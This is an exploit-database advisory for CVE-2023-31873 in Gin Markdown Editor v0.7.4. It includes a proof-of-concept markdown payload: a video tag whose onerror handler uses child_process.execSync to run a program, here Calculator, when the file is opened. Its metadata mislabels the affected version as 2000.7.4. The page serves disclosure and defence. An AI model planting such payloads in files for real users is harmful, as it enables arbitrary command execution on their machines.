Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution

vendor:

Markdown Editor

by:

8bitsec

7.8

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: Markdown Editor

Affected Version From: 2000.7.4

Affected Version To: 2000.7.4

Patch Exists: NO

Related CWE: CVE-2023-31873

CPE: a:gin:markdown_editor:0.7.4

Metasploit:

Other Scripts:

Platforms Tested: Mac OS 13

2023

Gin Markdown Editor v0.7.4 (Electron) – Arbitrary Code Execution

A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Mitigation:

Update to a patched version of the software or avoid opening untrusted markdown files.

Source

Exploit-DB raw data:

# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage: https://github.com/mariuskueng/gin
# Software Link: https://github.com/mariuskueng/gin
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:

2023-04-24

Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Gin will auto execute the Calculator application.